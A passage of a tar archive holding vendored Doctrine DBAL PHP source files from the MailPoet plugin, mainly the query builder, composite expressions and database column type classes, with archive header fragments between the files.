namespace MailPoetVendor\Doctrine\DBAL\Query\Expression; if (!defined('ABSPATH')) exit; class CompositeExpression implements \Countable { const TYPE_AND = 'AND'; const TYPE_OR = 'OR'; private $type; private $parts = array(); public function __construct($type, array $parts = array()) { $this->type = $type; $this->addMultiple($parts); } public function addMultiple(array $parts = array()) { foreach ((array) $parts as $part) { $this->add($part); } return $this; } public function add($part) { if (!empty($part) || $part instanceof self && $part->count() > 0) { $this->parts[] = $part; } return $this; } public function count() { return \count($this->parts); } public function __toString() { if (\count($this->parts) === 1) { return (string) $this->parts[0]; } return '(' . \implode(') ' . $this->type . ' (', $this->parts) . ')'; } public function getType() { return $this->type; } } Doctrine/DBAL/Query/Expression/index.php 0000666 00000000000 15035130072 0014067 0 ustar 00 Doctrine/DBAL/Query/QueryBuilder.php 0000666 00000034063 15035130072 0013255 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Query; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression; use MailPoetVendor\Doctrine\DBAL\Connection; class QueryBuilder { const SELECT = 0; const DELETE = 1; const UPDATE = 2; const INSERT = 3; const STATE_DIRTY = 0; const STATE_CLEAN = 1; private $connection; private $sqlParts = array('select' => array(), 'from' => array(), 'join' => array(), 'set' => array(), 'where' => null, 'groupBy' => array(), 'having' => null, 'orderBy' => array(), 'values' => array()); private $sql; private $params = array(); private $paramTypes = array(); private $type = self::SELECT; private $state = self::STATE_CLEAN; private $firstResult = null; private $maxResults = null; private $boundCounter = 0; public function __construct(\MailPoetVendor\Doctrine\DBAL\Connection $connection) { $this->connection = $connection; } public function expr() { return $this->connection->getExpressionBuilder(); } public function getType() { return $this->type; } public function getConnection() { return $this->connection; } public function getState() { return $this->state; } public function execute() { if ($this->type == self::SELECT) { return $this->connection->executeQuery($this->getSQL(), $this->params, $this->paramTypes); } else { return $this->connection->executeUpdate($this->getSQL(), $this->params, $this->paramTypes); } } public function getSQL() { if ($this->sql !== null && $this->state === self::STATE_CLEAN) { return $this->sql; } switch ($this->type) { case self::INSERT: $sql = $this->getSQLForInsert(); break; case self::DELETE: $sql = $this->getSQLForDelete(); break; case self::UPDATE: $sql = $this->getSQLForUpdate(); break; case self::SELECT: default: $sql = $this->getSQLForSelect(); break; } $this->state = self::STATE_CLEAN; $this->sql = $sql; return $sql; } public function setParameter($key, $value, $type = null) { if ($type !== null) { $this->paramTypes[$key] = $type; } $this->params[$key] = $value; return $this; } public function setParameters(array $params, array $types = array()) { $this->paramTypes = $types; $this->params = $params; return $this; } public function getParameters() { return $this->params; } public function getParameter($key) { return isset($this->params[$key]) ? $this->params[$key] : null; } public function getParameterTypes() { return $this->paramTypes; } public function getParameterType($key) { return isset($this->paramTypes[$key]) ? $this->paramTypes[$key] : null; } public function setFirstResult($firstResult) { $this->state = self::STATE_DIRTY; $this->firstResult = $firstResult; return $this; } public function getFirstResult() { return $this->firstResult; } public function setMaxResults($maxResults) { $this->state = self::STATE_DIRTY; $this->maxResults = $maxResults; return $this; } public function getMaxResults() { return $this->maxResults; } public function add($sqlPartName, $sqlPart, $append = \false) { $isArray = \is_array($sqlPart); $isMultiple = \is_array($this->sqlParts[$sqlPartName]); if ($isMultiple && !$isArray) { $sqlPart = array($sqlPart); } $this->state = self::STATE_DIRTY; if ($append) { if ($sqlPartName == "orderBy" || $sqlPartName == "groupBy" || $sqlPartName == "select" || $sqlPartName == "set") { foreach ($sqlPart as $part) { $this->sqlParts[$sqlPartName][] = $part; } } elseif ($isArray && \is_array($sqlPart[\key($sqlPart)])) { $key = \key($sqlPart); $this->sqlParts[$sqlPartName][$key][] = $sqlPart[$key]; } elseif ($isMultiple) { $this->sqlParts[$sqlPartName][] = $sqlPart; } else { $this->sqlParts[$sqlPartName] = $sqlPart; } return $this; } $this->sqlParts[$sqlPartName] = $sqlPart; return $this; } public function select($select = null) { $this->type = self::SELECT; if (empty($select)) { return $this; } $selects = \is_array($select) ? $select : \func_get_args(); return $this->add('select', $selects, \false); } public function addSelect($select = null) { $this->type = self::SELECT; if (empty($select)) { return $this; } $selects = \is_array($select) ? $select : \func_get_args(); return $this->add('select', $selects, \true); } public function delete($delete = null, $alias = null) { $this->type = self::DELETE; if (!$delete) { return $this; } return $this->add('from', array('table' => $delete, 'alias' => $alias)); } public function update($update = null, $alias = null) { $this->type = self::UPDATE; if (!$update) { return $this; } return $this->add('from', array('table' => $update, 'alias' => $alias)); } public function insert($insert = null) { $this->type = self::INSERT; if (!$insert) { return $this; } return $this->add('from', array('table' => $insert)); } public function from($from, $alias = null) { return $this->add('from', array('table' => $from, 'alias' => $alias), \true); } public function join($fromAlias, $join, $alias, $condition = null) { return $this->innerJoin($fromAlias, $join, $alias, $condition); } public function innerJoin($fromAlias, $join, $alias, $condition = null) { return $this->add('join', array($fromAlias => array('joinType' => 'inner', 'joinTable' => $join, 'joinAlias' => $alias, 'joinCondition' => $condition)), \true); } public function leftJoin($fromAlias, $join, $alias, $condition = null) { return $this->add('join', array($fromAlias => array('joinType' => 'left', 'joinTable' => $join, 'joinAlias' => $alias, 'joinCondition' => $condition)), \true); } public function rightJoin($fromAlias, $join, $alias, $condition = null) { return $this->add('join', array($fromAlias => array('joinType' => 'right', 'joinTable' => $join, 'joinAlias' => $alias, 'joinCondition' => $condition)), \true); } public function set($key, $value) { return $this->add('set', $key . ' = ' . $value, \true); } public function where($predicates) { if (!(\func_num_args() == 1 && $predicates instanceof \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression)) { $predicates = new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_AND, \func_get_args()); } return $this->add('where', $predicates); } public function andWhere($where) { $args = \func_get_args(); $where = $this->getQueryPart('where'); if ($where instanceof \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression && $where->getType() === \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_AND) { $where->addMultiple($args); } else { \array_unshift($args, $where); $where = new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_AND, $args); } return $this->add('where', $where, \true); } public function orWhere($where) { $args = \func_get_args(); $where = $this->getQueryPart('where'); if ($where instanceof \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression && $where->getType() === \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_OR) { $where->addMultiple($args); } else { \array_unshift($args, $where); $where = new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_OR, $args); } return $this->add('where', $where, \true); } public function groupBy($groupBy) { if (empty($groupBy)) { return $this; } $groupBy = \is_array($groupBy) ? $groupBy : \func_get_args(); return $this->add('groupBy', $groupBy, \false); } public function addGroupBy($groupBy) { if (empty($groupBy)) { return $this; } $groupBy = \is_array($groupBy) ? $groupBy : \func_get_args(); return $this->add('groupBy', $groupBy, \true); } public function setValue($column, $value) { $this->sqlParts['values'][$column] = $value; return $this; } public function values(array $values) { return $this->add('values', $values); } public function having($having) { if (!(\func_num_args() == 1 && $having instanceof \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression)) { $having = new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_AND, \func_get_args()); } return $this->add('having', $having); } public function andHaving($having) { $args = \func_get_args(); $having = $this->getQueryPart('having'); if ($having instanceof \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression && $having->getType() === \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_AND) { $having->addMultiple($args); } else { \array_unshift($args, $having); $having = new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_AND, $args); } return $this->add('having', $having); } public function orHaving($having) { $args = \func_get_args(); $having = $this->getQueryPart('having'); if ($having instanceof \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression && $having->getType() === \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_OR) { $having->addMultiple($args); } else { \array_unshift($args, $having); $having = new \MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression(\MailPoetVendor\Doctrine\DBAL\Query\Expression\CompositeExpression::TYPE_OR, $args); } return $this->add('having', $having); } public function orderBy($sort, $order = null) { return $this->add('orderBy', $sort . ' ' . (!$order ? 'ASC' : $order), \false); } public function addOrderBy($sort, $order = null) { return $this->add('orderBy', $sort . ' ' . (!$order ? 'ASC' : $order), \true); } public function getQueryPart($queryPartName) { return $this->sqlParts[$queryPartName]; } public function getQueryParts() { return $this->sqlParts; } public function resetQueryParts($queryPartNames = null) { if (\is_null($queryPartNames)) { $queryPartNames = \array_keys($this->sqlParts); } foreach ($queryPartNames as $queryPartName) { $this->resetQueryPart($queryPartName); } return $this; } public function resetQueryPart($queryPartName) { $this->sqlParts[$queryPartName] = \is_array($this->sqlParts[$queryPartName]) ? array() : null; $this->state = self::STATE_DIRTY; return $this; } private function getSQLForSelect() { $query = 'SELECT ' . \implode(', ', $this->sqlParts['select']); $query .= ($this->sqlParts['from'] ? ' FROM ' . \implode(', ', $this->getFromClauses()) : '') . ($this->sqlParts['where'] !== null ? ' WHERE ' . (string) $this->sqlParts['where'] : '') . ($this->sqlParts['groupBy'] ? ' GROUP BY ' . \implode(', ', $this->sqlParts['groupBy']) : '') . ($this->sqlParts['having'] !== null ? ' HAVING ' . (string) $this->sqlParts['having'] : '') . ($this->sqlParts['orderBy'] ? ' ORDER BY ' . \implode(', ', $this->sqlParts['orderBy']) : ''); if ($this->isLimitQuery()) { return $this->connection->getDatabasePlatform()->modifyLimitQuery($query, $this->maxResults, $this->firstResult); } return $query; } private function getFromClauses() { $fromClauses = array(); $knownAliases = array(); foreach ($this->sqlParts['from'] as $from) { if ($from['alias'] === null) { $tableSql = $from['table']; $tableReference = $from['table']; } else { $tableSql = $from['table'] . ' ' . $from['alias']; $tableReference = $from['alias']; } $knownAliases[$tableReference] = \true; $fromClauses[$tableReference] = $tableSql . $this->getSQLForJoins($tableReference, $knownAliases); } $this->verifyAllAliasesAreKnown($knownAliases); return $fromClauses; } private function verifyAllAliasesAreKnown(array $knownAliases) { foreach ($this->sqlParts['join'] as $fromAlias => $joins) { if (!isset($knownAliases[$fromAlias])) { throw \MailPoetVendor\Doctrine\DBAL\Query\QueryException::unknownAlias($fromAlias, \array_keys($knownAliases)); } } } private function isLimitQuery() { return $this->maxResults !== null || $this->firstResult !== null; } private function getSQLForInsert() { return 'INSERT INTO ' . $this->sqlParts['from']['table'] . ' (' . \implode(', ', \array_keys($this->sqlParts['values'])) . ')' . ' VALUES(' . \implode(', ', $this->sqlParts['values']) . ')'; } private function getSQLForUpdate() { $table = $this->sqlParts['from']['table'] . ($this->sqlParts['from']['alias'] ? ' ' . $this->sqlParts['from']['alias'] : ''); $query = 'UPDATE ' . $table . ' SET ' . \implode(", ", $this->sqlParts['set']) . ($this->sqlParts['where'] !== null ? ' WHERE ' . (string) $this->sqlParts['where'] : ''); return $query; } private function getSQLForDelete() { $table = $this->sqlParts['from']['table'] . ($this->sqlParts['from']['alias'] ? ' ' . $this->sqlParts['from']['alias'] : ''); $query = 'DELETE FROM ' . $table . ($this->sqlParts['where'] !== null ? ' WHERE ' . (string) $this->sqlParts['where'] : ''); return $query; } public function __toString() { return $this->getSQL(); } public function createNamedParameter($value, $type = \PDO::PARAM_STR, $placeHolder = null) { if ($placeHolder === null) { $this->boundCounter++; $placeHolder = ":dcValue" . $this->boundCounter; } $this->setParameter(\substr($placeHolder, 1), $value, $type); return $placeHolder; } public function createPositionalParameter($value, $type = \PDO::PARAM_STR) { $this->boundCounter++; $this->setParameter($this->boundCounter, $value, $type); return "?"; } private function getSQLForJoins($fromAlias, array &$knownAliases) { $sql = ''; if (isset($this->sqlParts['join'][$fromAlias])) { foreach ($this->sqlParts['join'][$fromAlias] as $join) { if (\array_key_exists($join['joinAlias'], $knownAliases)) { throw \MailPoetVendor\Doctrine\DBAL\Query\QueryException::nonUniqueAlias($join['joinAlias'], \array_keys($knownAliases)); } $sql .= ' ' . \strtoupper($join['joinType']) . ' JOIN ' . $join['joinTable'] . ' ' . $join['joinAlias'] . ' ON ' . (string) $join['joinCondition']; $knownAliases[$join['joinAlias']] = \true; } foreach ($this->sqlParts['join'][$fromAlias] as $join) { $sql .= $this->getSQLForJoins($join['joinAlias'], $knownAliases); } } return $sql; } public function __clone() { foreach ($this->sqlParts as $part => $elements) { if (\is_array($this->sqlParts[$part])) { foreach ($this->sqlParts[$part] as $idx => $element) { if (\is_object($element)) { $this->sqlParts[$part][$idx] = clone $element; } } } elseif (\is_object($elements)) { $this->sqlParts[$part] = clone $elements; } } foreach ($this->params as $name => $param) { if (\is_object($param)) { $this->params[$name] = clone $param; } } } } Doctrine/DBAL/Query/index.php 0000666 00000000000 15035130072 0011730 0 ustar 00 Doctrine/DBAL/Types/IntegerType.php 0000666 00000001323 15035130072 0013070 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class IntegerType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::INTEGER; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getIntegerTypeDeclarationSQL($fieldDeclaration); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return null === $value ? null : (int) $value; } public function getBindingType() { return \PDO::PARAM_INT; } } Doctrine/DBAL/Types/BigIntType.php 0000666 00000001323 15035130072 0012647 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class BigIntType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::BIGINT; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getBigIntTypeDeclarationSQL($fieldDeclaration); } public function getBindingType() { return \PDO::PARAM_STR; } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return null === $value ? null : (string) $value; } } Doctrine/DBAL/Types/FloatType.php 0000666 00000001217 15035130072 0012542 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class FloatType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::FLOAT; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getFloatDeclarationSQL($fieldDeclaration); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return null === $value ? null : (double) $value; } } Doctrine/DBAL/Types/BlobType.php 0000666 00000001710 15035130072 0012351 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class BlobType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getBlobTypeDeclarationSQL($fieldDeclaration); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if (null === $value) { return null; } if (\is_string($value)) { $fp = \fopen('php://temp', 'rb+'); \fwrite($fp, $value); \fseek($fp, 0); $value = $fp; } if (!\is_resource($value)) { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailed($value, self::BLOB); } return $value; } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::BLOB; } public function getBindingType() { return \PDO::PARAM_LOB; } } Doctrine/DBAL/Types/DecimalType.php 0000666 00000001220 15035130072 0013025 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class DecimalType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::DECIMAL; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getDecimalTypeDeclarationSQL($fieldDeclaration); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return null === $value ? null : $value; } } Doctrine/DBAL/Types/GuidType.php 0000666 00000001212 15035130072 0012360 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class GuidType extends \MailPoetVendor\Doctrine\DBAL\Types\StringType { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getGuidTypeDeclarationSQL($fieldDeclaration); } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::GUID; } public function requiresSQLCommentHint(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return !$platform->hasNativeGuidType(); } } Doctrine/DBAL/Types/ConversionException.php 0000666 00000001267 15035130072 0014644 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; class ConversionException extends \MailPoetVendor\Doctrine\DBAL\DBALException { public static function conversionFailed($value, $toType) { $value = \strlen($value) > 32 ? \substr($value, 0, 20) . "..." : $value; return new self('Could not convert database value "' . $value . '" to Doctrine Type ' . $toType); } public static function conversionFailedFormat($value, $toType, $expectedFormat) { $value = \strlen($value) > 32 ? \substr($value, 0, 20) . "..." : $value; return new self('Could not convert database value "' . $value . '" to Doctrine Type ' . $toType . '. Expected format: ' . $expectedFormat); } } Doctrine/DBAL/Types/TimeType.php 0000666 00000002162 15035130072 0012373 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class TimeType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::TIME; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getTimeTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $value !== null ? $value->format($platform->getTimeFormatString()) : null; } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null || $value instanceof \DateTime) { return $value; } $val = \DateTime::createFromFormat('!' . $platform->getTimeFormatString(), $value); if (!$val) { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailedFormat($value, $this->getName(), $platform->getTimeFormatString()); } return $val; } } Doctrine/DBAL/Types/Type.php 0000666 00000010404 15035130072 0011552 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; use MailPoetVendor\Doctrine\DBAL\DBALException; abstract class Type { const TARRAY = 'array'; const SIMPLE_ARRAY = 'simple_array'; const JSON_ARRAY = 'json_array'; const BIGINT = 'bigint'; const BOOLEAN = 'boolean'; const DATETIME = 'datetime'; const DATETIMETZ = 'datetimetz'; const DATE = 'date'; const TIME = 'time'; const DECIMAL = 'decimal'; const INTEGER = 'integer'; const OBJECT = 'object'; const SMALLINT = 'smallint'; const STRING = 'string'; const TEXT = 'text'; const BINARY = 'binary'; const BLOB = 'blob'; const FLOAT = 'float'; const GUID = 'guid'; private static $_typeObjects = array(); private static $_typesMap = array(self::TARRAY => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\ArrayType', self::SIMPLE_ARRAY => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\SimpleArrayType', self::JSON_ARRAY => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\JsonArrayType', self::OBJECT => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\ObjectType', self::BOOLEAN => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\BooleanType', self::INTEGER => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\IntegerType', self::SMALLINT => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\SmallIntType', self::BIGINT => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\BigIntType', self::STRING => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\StringType', self::TEXT => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\TextType', self::DATETIME => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\DateTimeType', self::DATETIMETZ => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\DateTimeTzType', self::DATE => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\DateType', self::TIME => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\TimeType', self::DECIMAL => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\DecimalType', self::FLOAT => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\FloatType', self::BINARY => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\BinaryType', self::BLOB => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\BlobType', self::GUID => 'MailPoetVendor\\Doctrine\\DBAL\\Types\\GuidType'); private final function __construct() { } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $value; } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $value; } public function getDefaultLength(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return null; } public abstract function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform); public abstract function getName(); public static function getType($name) { if (!isset(self::$_typeObjects[$name])) { if (!isset(self::$_typesMap[$name])) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::unknownColumnType($name); } self::$_typeObjects[$name] = new self::$_typesMap[$name](); } return self::$_typeObjects[$name]; } public static function addType($name, $className) { if (isset(self::$_typesMap[$name])) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::typeExists($name); } self::$_typesMap[$name] = $className; } public static function hasType($name) { return isset(self::$_typesMap[$name]); } public static function overrideType($name, $className) { if (!isset(self::$_typesMap[$name])) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::typeNotFound($name); } if (isset(self::$_typeObjects[$name])) { unset(self::$_typeObjects[$name]); } self::$_typesMap[$name] = $className; } public function getBindingType() { return \PDO::PARAM_STR; } public static function getTypesMap() { return self::$_typesMap; } public function __toString() { $e = \explode('\\', \get_class($this)); return \str_replace('Type', '', \end($e)); } public function canRequireSQLConversion() { return \false; } public function convertToDatabaseValueSQL($sqlExpr, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $sqlExpr; } public function convertToPHPValueSQL($sqlExpr, $platform) { return $sqlExpr; } public function getMappedDatabaseTypes(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return array(); } public function requiresSQLCommentHint(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return \false; } } Doctrine/DBAL/Types/VarDateTimeType.php 0000666 00000001101 15035130072 0013632 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class VarDateTimeType extends \MailPoetVendor\Doctrine\DBAL\Types\DateTimeType { public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null || $value instanceof \DateTime) { return $value; } $val = \date_create($value); if (!$val) { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailed($value, $this->getName()); } return $val; } } Doctrine/DBAL/Types/index.php 0000666 00000000000 15035130072 0011727 0 ustar 00 Doctrine/DBAL/Types/BinaryType.php 0000666 00000001720 15035130072 0012720 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class BinaryType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getBinaryTypeDeclarationSQL($fieldDeclaration); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if (null === $value) { return null; } if (\is_string($value)) { $fp = \fopen('php://temp', 'rb+'); \fwrite($fp, $value); \fseek($fp, 0); $value = $fp; } if (!\is_resource($value)) { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailed($value, self::BINARY); } return $value; } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::BINARY; } public function getBindingType() { return \PDO::PARAM_LOB; } } Doctrine/DBAL/Types/DateTimeTzType.php 0000666 00000002220 15035130072 0013502 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class DateTimeTzType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::DATETIMETZ; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getDateTimeTzTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $value !== null ? $value->format($platform->getDateTimeTzFormatString()) : null; } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null || $value instanceof \DateTime) { return $value; } $val = \DateTime::createFromFormat($platform->getDateTimeTzFormatString(), $value); if (!$val) { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailedFormat($value, $this->getName(), $platform->getDateTimeTzFormatString()); } return $val; } } Doctrine/DBAL/Types/ArrayType.php 0000666 00000002240 15035130072 0012550 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class ArrayType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getClobTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return \serialize($value); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null) { return null; } $value = \is_resource($value) ? \stream_get_contents($value) : $value; $val = \unserialize($value); if ($val === \false && $value != 'b:0;') { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailed($value, $this->getName()); } return $val; } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::TARRAY; } public function requiresSQLCommentHint(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return \true; } } Doctrine/DBAL/Types/StringType.php 0000666 00000001212 15035130072 0012736 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class StringType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getVarcharTypeDeclarationSQL($fieldDeclaration); } public function getDefaultLength(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getVarcharDefaultLength(); } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::STRING; } } Doctrine/DBAL/Types/DateType.php 0000666 00000002162 15035130072 0012352 0 ustar 00 <?php
